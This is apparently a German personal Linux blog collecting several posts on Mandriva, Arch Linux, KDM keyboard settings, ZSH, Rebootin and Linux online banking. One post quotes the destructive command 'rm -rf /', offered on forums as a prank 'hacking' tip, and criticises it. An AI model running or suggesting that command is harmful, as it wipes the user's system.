Seit einiger Zeit hatte ich das "Problem", dass die Oberfläche von KDM zwar deutsch war, aber das Tastaturlayout für die Eingabe des Benutzernamens und des Passworts in englisch. Das hat mich eigentlich nicht gestört, da ich des öfteren mit dem us_US Tastaturlayout arbeiten muss. Aber Sonntag ist Basteltag und ich habe KDM nun komplett eingedeutscht. War eigentlich ganz einfach. Man legt einfach unter /etc/X11/xorg.conf.d/ die Datei 20-keyboard.conf an und trägt dann folgendes ein:

Section "InputClass"
    Identifier "keyboard"
    MatchIsKeyboard "yes"
    Option "XkbLayout" "de"
    Option "XkbVariant" "nodeadkeys"
Endsection

Nun einfach den Rechner neu starten (den X-Server neu starten funktioniert vermutlich auch) und schwups, konnte ich mich wieder mit dem de_DE Tastaturlayout anmelden.


Early Seeder, Baby

Da ruft man seine Emails ab, um sich über den Lieferstatus diverser Sachen (Auto, Receiver) zu informieren und was findet man im Briefkasten? Den Hinweis, dass es die Early Seeder Torrents für die kommende Version von Mandriva gibt. Da mein NAS auch Bittorrent beherrscht, ist das eigentlich eine gute Gelegenheit dies mal zu testen. Lange Rede, kurzer Sinn. Ich seede jetzt die nächsten Tage mandriva-linux-free-2010-spring-x86_64. Kleinvieh macht auch Mist. Im Moment fast 3 Mbit Downloadgeschwindigkeit bei mir. Und das ist bei Torrents aus dem Haus Mandriva schon nicht schlecht. Bin schon gespannt, was die Jungs und Mädels aus Frankreich so gebastelt haben. Auch wenn ich inzwischen Arch verwende, Mandriva rockt trotzdem. Meiner Meinung nach die beste Einsteigerdistribution schlecht hin.


Das eine Problem geht, das andere kommt

Wie unter https://fryboyter.de/mandriva-ist-tot-lang-lebe-arch-linux-und-mandriva-in-der-box/ nachzulesen, habe ich mein Moneyplex-Problem gelöst. Und schwupps habe ich schon wieder das nächste an der Backe. Ich kann unter Arch nicht mehr brennen. Weder CD noch DVD. Scheinbar bin ich aber nicht alleine. Unter http://bbs.archlinux.org/viewtopic.php?id=98288 gibt es haargenau die gleichen Probleme. Sogar der Brenner ist gleich. Scheinbar ist das aber kein Arch-Problem, da z. B. bei Ubuntubenutzern die gleichen Probleme aufgetreten sind. Ich bin mir absolut nicht sicher, aber eventuell hat Kernel 2.6.33 etwas damit zu tun. Denn erst nach der Installation von selbigem traten die Probleme auf. Am Brenner an sich liegt es nicht, da er unter W7 einwandfrei funktioniert.

Na mal abwarten was dabei herauskommt. Sollte jemand eine Lösung haben, bitte melden.


Muss dieser Mist sein?

Vor nicht mal 3 Stunden war es mal wieder soweit. Auf einem Board wurde die allseits beliebte Frage gestellt, was man zum Hacken unter Linux denn so braucht. Lieben wir sie nicht alle, diese Leute, die 1337 werden wollen? Also ich nicht.

Aber Leute, die dann so saudämliche Ratschläge wie rm -rf / beisteuern finde ich noch tausendmal schlimmer. Da sind mir solche 1337-Kiddies dann doch lieber (zumindest die, die danach fragen müssen, wie man unter Linux hackt. Die haben selten Erfolg). Oder Leute die kreative, nicht destruktive Antworten geben. Wie zum Beispiel, dass man Nethack (ein Spiel) installieren muss. Die machen wenigstens nichts kaputt. Da aber viele davon einfach blind Befehle übernehmen, machen oben genannte Subjekte sehr wohl etwas kaputt.

Gut es ist nicht gerade schlau, Befehle blind zu übernehmen. Man sollte voher eigentlich immer nachsehen, was der Befehl denn so im Detail macht. Im genannten Fall eben alles platt. Aber in der Regel sind solche Leute, und eigentlich die breite Masse im Internet, einfach zu gutgläubig.

Aber macht es Sinn, destruktive Vorschläge zu machen? Nein. Ist man damit besser als der Fragesteller? Nein. Ist man damit mehr 1337? Möglich. Ich bezweifle es aber. Für mich sind solche Leute vom Niveau her sogar noch weiter unten angesiedelt als unsere 1337-Kiddies. Also verdammt tief. Kindergarten reloaded.

Zum Leidwesen vieler "richtiger" Linuxer, sorgen solche Beispiele immer wieder für pauschale Verallgemeinerungen. Linuxer sind elitär, halten sich für etwas besseres usw. Vielen Dank dafür...

So und nun fresst mich.


Mandriva ist tot. Lang lebe Arch Linux und Mandriva in der Box

Ich habe Köpfe mit Nägeln gemacht. Oder so ähnlich.

Seit Version 7.x lief hier eigentlich als Produktivsystem immer Mandriva (ehemals Mandrake). Nun nicht mehr. Ich bin nun wirklich ins Arch-Lager gewechselt. Warum genau kann ich eigentlich nicht sagen. Ich würde mal sagen wegen dem Spieltrieb. Wie lange ich es durchhalte? Gute Frage. Um nicht zu sehr unter den Entzugserscheinungen zu leiden, läuft eine Mandriva-Installation unter VirtualBox weiter. Ganz ohne geht es halt doch nicht.

Die Installation ging, wie auch unter VirtualBox, recht schmerzfrei von statten. Nur der Drucker hat mich Nerven gekostet. Naja eher Cups, das in der aktuellen Version scheinbar so seine Probleme mit USB-Druckern hat. Einzig und alleine mein Homebankingprogramm Moneyplex habe ich bisher noch nicht zum laufen bekommen. Egal was ich mache, ich bekomme immer die Fehlermeldung <strong>/home/holycore/moneyplex/moneyplex: symbol lookup error: /home/mathmos/moneyplex/moneyplex: undefined symbol: initPAnsiStrings</strong>. Sollte jemand die Lösung kennen, bitte melden. Das was man mit Google findet hat nicht wirklich geholfen.  Da muss die Tage vermutlich mal der Support von Moneyplex herhalten. Zwischenzeitlich läuft es eben über die Mandriva-Installation unter VirtualBox.

Nachtrag am 24.05.10:

Scheinbar bin ich dann doch nicht so blöd wie ich aussehe. Ich habe mich heute nochmals dem Problem mit Moneyplex gewidmet. Und was soll ich sagen? Es läuft wieder. Wenn man es genau nimmt war ich mal wieder das Problem. Ich hatte bei meinem ersten Versuch das Paket libjpeg6 6b-9 aus AUR installiert. Das mag Moneyplex scheinbar nicht. Das Paket lib32-libjpeg6 6b-1 aus AUR hat dann Moneyplex auf die Sprünge geholfen.
 


Arch Linux

Heute hat mich mal wieder der Hafer gestochen und ich habe mir spontan mal die aktuelle Version von Arch Linux unter VirtualBox installiert. Gefühlt zum 10 mal. Was auch in Wirklichkeit zutreffen könnte. Bisher hat mir aber irgendwie der Nerv gefehlt und mich damit etwas länger zu beschäftigen. Bis heute. Seit einigen Stunden (was ich hauptsächlich der relativ dünnen Bandbreite meines Internetanschlusses und dem Lesen der Dokumentation zu verdanken habe), sitze ich jetzt schon davor und langsam stimmt alles. Gerade ist OpenOffice an der Reihe. Ich brauche einen dickere Leitung. Bekomme ich aber leider nicht. Bei 3 Mbit ist hier Schicht im Schacht. Naja so manch einer hat es noch schlechter. Ähm wo war ich? Ach ja... Am besten fange ich mal vom Anfang an an.

1. Der Download der Iso-Datei war unspektakulär und dank der geringen Größe auch bei mir schnell erledigt.

2. Spasseshalber habe ich mich mal an die Anleitung für Einsteiger gehalten. Damit sollte eigentlich jeder der lesen kann und technisch etwas begabt ist, Arch Linux installieren können. Das Aktualisieren der Pakete und die Installation war dabei am schlimmsten. Naja 3 Mbit eben...

3. Als ich dann endlich meine Maus schubsen konnte, wollte ich mir gleich mal Opera nachinstallieren. Pustekuchen. Gibt es nicht. Warum eigentlich? Weil Opera in der derzeit aktuellen stabilen Version noch eine andere Lizenz hat, welche eine Aufnahme in die Paketquellen verhindert. War ja klar. RPM-Datei herunterladen und installieren dürfte schwierig werden. Selber kompilieren? Nur wenn es sein muss. Muss es aber nicht. Für solche Fälle gibt es Arch User Community Repository (AUR). Eine Erklärung spare ich mir jetzt an dieser Stelle. Das kann man auch bei dem Link nachlesen. Nachdem ich Opera auf der Platte hatte, war noch Yaourt an der Reihe. Eine Erweiterung für Pacman (der Paketverwaltung von Arch Linux) mit der man recht komfortabel aus AUR installieren kann. Warum baut man solch eine Funktion nicht in Pacman ein? Für jede Aufgabe ein Programm nervt bei so etwas dann doch.

4. Ich überlege mir, welche Pakete ich noch brauche. Nach einigen Installationen bleibt nur noch OpenOffice übrig. Dann sollte alles wichtige installiert sein.

Was bleibt mir abschließend zu sagen? Perfekt ist die Installation vermutlich noch nicht. Aber sie funktioniert und könnte produktiv genutzt werden. Und genau das überlege ich mir gerade ernsthaft. Irgendwie hat das "Gefrickel" mal wieder richtig Spass gemacht. Von den Downloads abgesehen. Von daher werde ich am Wochenende noch einmal in den saueren Download-Apfel beißen, Mandriva platt machen und mir Arch richtig installieren. Mal sehen, wie lange ich das durchhalte bevor ich mir wieder Mandriva installiere. Das Mandriva Control Center habe ich schon irgendwie vermisst. Ja ich bin ein warmduschender Mausschubser. Und stolz darauf.

Jetzt stelle ich mir nur noch eine Frage. Warum zur Hölle gibt es kein Arch Linux auf DVD? Fedora hat doch auch Rolling Release und bietet eine DVD an. Eine DVD wäre mir wesentlich lieber. Einmal heruntergeladen und man kann zumindest das Grundsystem (was bei mir auch KDE, OpenOffice und andere Sachen mit einbezieht) schmerzfrei installieren. Vor allem mehrmals innerhalb kurzer Zeit oder auf mehreren Rechnern.


Distributionswechsel - Ja oder nein, das ist hier die Frage

Ab und zu schaue ich mal ganz gerne über meinen Mandriva-Tellerrand hin zu anderen Distributionen. Gerade eben habe ich mich entschlossen, dass es mal wieder soweit ist. Diesmal werde ich mir mal folgende Distributionen unter VirtualBox installieren und damit herumspielen:

PCLinuxOS:

Stammt ursprünglich von Mandriva ab, hat aber heute nur noch wenig damit wirklich gemeinsam. Als Paketverwaltung wird APT-RPM mit Synaptic und nicht mehr URPM verwendet. Schade eigentlich. ;-) Diverse Codecs, Flash und Java sind im Gegensatz zu Mandriva Free bereits von Haus aus enthalten. Vorhanden sind Isos mit Gnome, LXDE, XFCE und Enlightenment sowie KDE. Letzteres Iso lade ich gerade herunter, da ich KDE bevorzuge. Mal sehen, wie es sich so entwickelt hat. Ein Erstkontakt ist es in diesem Fall ja nicht.

Kurz gesagt ist PCLinuxOS eine Desktop-Distribution für den einfachen Gebrauch. Sprich wie Ubuntu. Nur besser. Ja ich mag Ubuntu kein Stück.

Pardus:

Tja viel kann ich dazu eigentlich nicht sagen. Stammt aus der Türkei und wird dort am Nationalen Forschungsinstitut für Elektronik und Kryptologie entwickelt. Pardus hat eine eigene Paketverwaltung namens PiSi, welche in Python programmiert wurde bzw. wird und LZMA verwendet. Soll laut diversen Test wohl sehr auf Benutzerfreundlichkeit ausgelegt sein. Also die ganze Distribution. Da es mindestens zwei deutschsprachige Anlaufstellen gibt, habe ich mich deshalb entschlossen mir diese Distribution mal genauer anzusehen.

Nun bleibt noch die Frage aus dem Titel. Distributionswechsel - Ja oder nein? Ich bin mir ziemlich sicher, nein. Seit Jahren schafft es keine andere Distribution mich dauerhaft von Mandrake bzw. Mandriva wegzulocken. Bin ich ein Mandriva-Fanboy? Zu einem kleinen Teil vermutlich schon. Aber Mandriva ist objektiv betrachtet einfach eine "geile" Distribution. Nur kennt sie eben fast keiner. Tja es hat ja nicht jeder x Millionen fürs Marketing übrig. Und das Unternehmen, dass hinter der Distribution steht, muss man auch nicht verstehen. Aber das ist eine andere Geschichte.


Rebootin

Hauptsächlich verwende ich ja Mandriva als Betriebssystem. Ab und zu kommt es allerdings vor, dass ich auch mal Windows 7 booten muss. Zum Beispiel zum Zocken. Das geht unter Windows einfach besser.

Bei einem Neustart muss ich dann allerdings immer den gewünschten Eintrag in Grub auswählen. Eigentlich kein Ding, aber es nervt doch irgendwie. Gerade wenn man öfters mal Windows starten muss. Vor einiger Zeit bin ich auf "Rebootin" gestoßen. Damit kann unter Mandriva (und vermutlich jeder anderen Linuxdistribution) Grub mitteilen, welchen Eintrag aus der menu.lst gestartet werden soll.

Mit rebootin -l kann man sich die Einträge aus der menu.lst anzeigen lassen. Bei mir wird zum Beispiel folgendes angezeigt:

linux linux-nonfb failsafe windows

Mittels rebootin windows wird Mandriva heruntergefahren und Windows automatisch gestartet. So lassen sich recht einfach kleine Scripte anlegen, mit denen man die gewünschten Einträge booten kann.

Ich würde das jetzt nicht als "must have" einordnen, aber in manchen Situationen ist das doch irgendwie recht angenehm.

Rebootin ist übrigens Bestandteil des Paketes "bootloader-utils". Zumindest unter Mandriva.


Die Königin der Shells

Auch wenn sie die "Königin" ist, habe ich sie in den letzten Monaten ziemlich vernachlässigt. Irgendwann 2009 habe ich mir wegen meines Spieltriebes mal die ZSH installiert und war nach einigen Anpassungen an den Konfigurationsdateien hin und weg. Man merkt einfach, dass viele Funktionen anderer Shells wie der BASH oder ksh aufgenommen und zum Teil stark verbessert wurden. Befehlsvervollständigung, Rechtschreibprüfung, eine geniale TAB-Vervollständigung, erweitertes Globbing, ladbare Module, erweiterte History usw. Man möge mir es mir verzeihen, aber ich finde die ZSH einfach nur geil. Die BASH ist auch nicht schlecht und reicht für die meisten sicherlich vollkommen aus (habe damit ja auch mehrere Jahre gearbeitet), aber die ZSH ist einfach besser. Punkt. Ende. Aus. ;-)

Da man leider nicht eine umfassende Quelle zu Thema ZSH findet, habe ich mir vor einiger Zeit das Buch "Zsh - die magische Shell", welches nicht gerade dick ist, aber dennoch 25 Euro kostet, gekauft. Aufgrund von Zeitmangel und anderen Büchern, die ich vorher lesen wollte, verstaubt das Buch nun eingeschweißt im Regal. Durch einen Zufall bin ich heute auf diesen Blogeintrag gestoßen und ein paar nette "Themes" für den ZSH-Prompt gefunden.

Tja da war es wieder. Das ZSH-Fieber, wegen dem ich gerade wieder ein paar Änderungen an der .zshrc gemacht habe. Obwohl ich gerade ein anderes Buch lese, werde ich heute wohl als Bettlektüre mit oben genanntem Buch beginnen. Man muss auch Opfer bringen können.

Mal sehen, ob ich in den nächsten Tagen hier oder im Forum mal meine Konfigurationsdateien der ZSH veröffentliche. Sollte jemand den Drang verspüren, seine Konfigurationsdateien hier zur Schau zu stellen, dann los. So kann ich meine vermutlich noch verbessern. Perfekt ist sie ja noch lange nicht. Wer quasi die eierlegende Wollmilchsau unter den ZSH-Konfigurationsdateien haben will, kann sich mal unter http://grml.org/zsh/ umsehen. Besser geht es wahrscheinlich nicht. Das ganze ist mir aber zuviel des guten.


Early Seeder oder Last Minute Seeder?

Wie bereits geschrieben, habe ich mich ja erfolgreich als "Early Seeder" anmelden können. Was soll ich sagen? Beim Unternehmen Mandriva ist vermutlich mal wieder das Chaos ausgebrochen. Über die Torrents für die "Early Seeders" wurde ich schon mal nicht informiert. Da bin ich allerdings nicht alleine. Zudem wurde zeitgleich damit begonnen, die FTP-Server, die ja eigentlich durch die Verteilung per Bittorrent entlastet werden sollen, mit den Isos bestücken. Somit hat auch dieses mal das "Early Seeder Programm" nicht gerade viel Sinn gemacht. Zumindest nicht so viel, wie wenn mehr Zeit gewesen wäre. Ich vermute einfach mal, dass die Iso-Dateien erst in letzter Minute fertig wurden und man das Veröffentlichungsdatum so gut wie möglich einhalten wollte.

Naja was solls. Die 64Bit-Version von Mandriva Free liegt auf meiner Platte und wurde gestern auch schon installiert. Jetzt seede ich die Iso-Datei eben ganz normal. Über das Unternehmen Mandriva kann man denken was man will, aber die Distribution ist auch dieses mal wieder sehr gut gelungen. Somit ist und bleibt Mandriva Linux für mich die beste Distribution.

Gegen den Root-Exploit für Linux, dem heute x Arktikel gewidmet wurden, ist die aktuelle Mandriva-Version scheinbar von Haus aus immun, da mmap_min_addr auf 4096 und nicht auf 0 steht. Ich sag's ja. Mandriva rockt.


Seit heute bin ich "Early Seeder" für Mandriva 2010

Endlich hat es mal geklappt. Heute konnte ich mich bei Mandriva als sogenannter "Early Seeder" registrieren. Sprich ich mir werden die Iso-Dateien der Free-Version (Powerpack-Abo habe ich keines) schon vor der offziellen Freigabe zur Verfügung stellt. Dafür verteile ich dann mit anderen "Early Seeders" das ganze per Bittorrent, so das nach Freigabe der Isos für jeden bereits viele Seeder vorhanden sind und die Downloadgeschwindigkeit nicht komplett im Keller ist. Wer sich ebenfalls als "Early Seeder" registrieren will, kann dies unter https://my.mandriva.com/earlyseeders tun. Ein Benutzerkonto bei Mandriva, welches kostenlos ist, ist allerdings Voraussetzung. Dies kann man unter https://my.mandriva.com/ anlegen.


Onlinebanking unter Linux - Und es geht doch

Ich habe es mal wieder gewagt. Den Versuch Onlinebanking nicht mehr unter Windows sondern unter Linux zu tätigen.

Auslöser war im Grunde genommen der Wechsel auf Windows 7. Für meinen bisherigen Kartenleser aus dem Hause Kobil gibt es im Moment leider nur Treiber im Betastadium, mit denen es auf meinem Hauptrechner ziemliche Probleme gab. Vielleicht hatte auch "nur" VR-Networld so seine Probleme mit dem Treiber. Auf jeden Fall hat es nicht wirklich zufriedenstellend funktioniert. Da der vorhandene Kartenleser unter Linux auch nicht gerade bequem zu installieren ist und ich keine Zeit habe auf stabile Treiber zu warten, habe ich mich spontan entschlossen mir das Bundle, bestehend aus Moneyplex 2009 für Linux und den Kartenleser ReinertSCT Cyberjack e-com zu kaufen. Gut das war mit knapp 120 Euro mal wieder nicht gerade billig, aber "Geiz ist geil" sollte man gerade bei solch einem Thema lieber vergessen. Mitten in der Nacht bei matrica bestellt, und bereits am nächsten Tag vor 12 Uhr verschickt. Die haben scheinbar auf meine Bestellung gewartet.

Als dann am nächsten Tag die Bestellung bei mir aufschlug, wollte ich das Ganze gleich Abends installieren. Als mir plötzlich aufgefallen ist, dass ich ja meine Datensicherung von VR-Networld nicht einfach so importieren kann. Klasse... Nach einer Installations- und Updateorgie (hatte nur eine Uraltversion hier herumliegen) auf einem Testsystem mit XP konnte ich endlich die Datensicherung einspielen und als CSV-Dateien exportieren. Tja wieso einfach, wenn es auch kompliziert geht.

So nun aber...

Naja was soll ich sagen. Es gibt bei ReinerSCT zwar fertige Pakete für meine Distribution (Mandriva), aber leider nur für die Version 2007. Aktuell ist 2009.1 und die 2010 steht auch schon fast vor der Tür.  Ok Mandriva ist in Deutschland ja nicht so verbreitet. Dann ist eben mal wieder Marke Eigenbau mit den Sourcen angesagt. Mir schwant schon mal schlimmes... So ähnlich hat es beim Kartenleser von Kobil auch angefangen. Also los. Sourcen heruntergeladen und nach /opt entpackt. Das hat immerhin schon mal geklappt. Dadurch ermutigt schnell eine ./configure ausgeführt. Wusste ich es doch... Es fehlen Pakete. Naja die Ausgabe von ./configure war wenigstens aufschlussreich, so dass ich mit urpm schnell alles nötige nachinstallieren konnte. Keine Minute später also ./configure Teil 2. Geht doch. Als nächstes make. Keine Fehler. Ich bin kurz davor den Champagner zu öffnen. Als nächstes noch ein make install mit Rootrechten ausgeführt. Der Champagnerkorken knallt, trifft aber Gott sei dank niemanden.

Als nächstes also Moneyplex. CD gemountet, Shellskript ausgeführt, der Anleitung gefolgt, fertig. Lässt man mal die Geschichte VR-Networld und der Datensicherung außer acht, hat das ganze keine 10 Minuten gedauert. Geht doch. Gut dann starten wir das Programm einfach mal. Der Kartenleser lässt sich nachdem ich die korrekte CTAPI ausgewählt habe, sofort ansprechen. Die Einrichtung der Bankverbindung und der Konten klappt auch ohne Probleme. Der Datenexport aus VR-Networld wird auch ohne murren geschluckt. Das kann eigentlich nur ein ganz dickes Ende bedeuten (nein ich bin kein Pesimist. Nur Realist mit jahrelanger Erfahrung)... Dann aktualisieren wir mal das Programm und die Konten. Nichts. Rein gar nichts ist schief gegangen. Kurz gesagt, es funktioniert alles. 

Einen Minuspunkt gibt es bei der Geschichte aber dennoch. Die Optik von Moneyplex ist ziemlich gewöhnungsbedürftig. Aber wenigstens funktioniert es. Und ich habe auch schon mit schlimmeren Programmen gearbeitet. Von daher ist im Moment alles im grünen Bereich.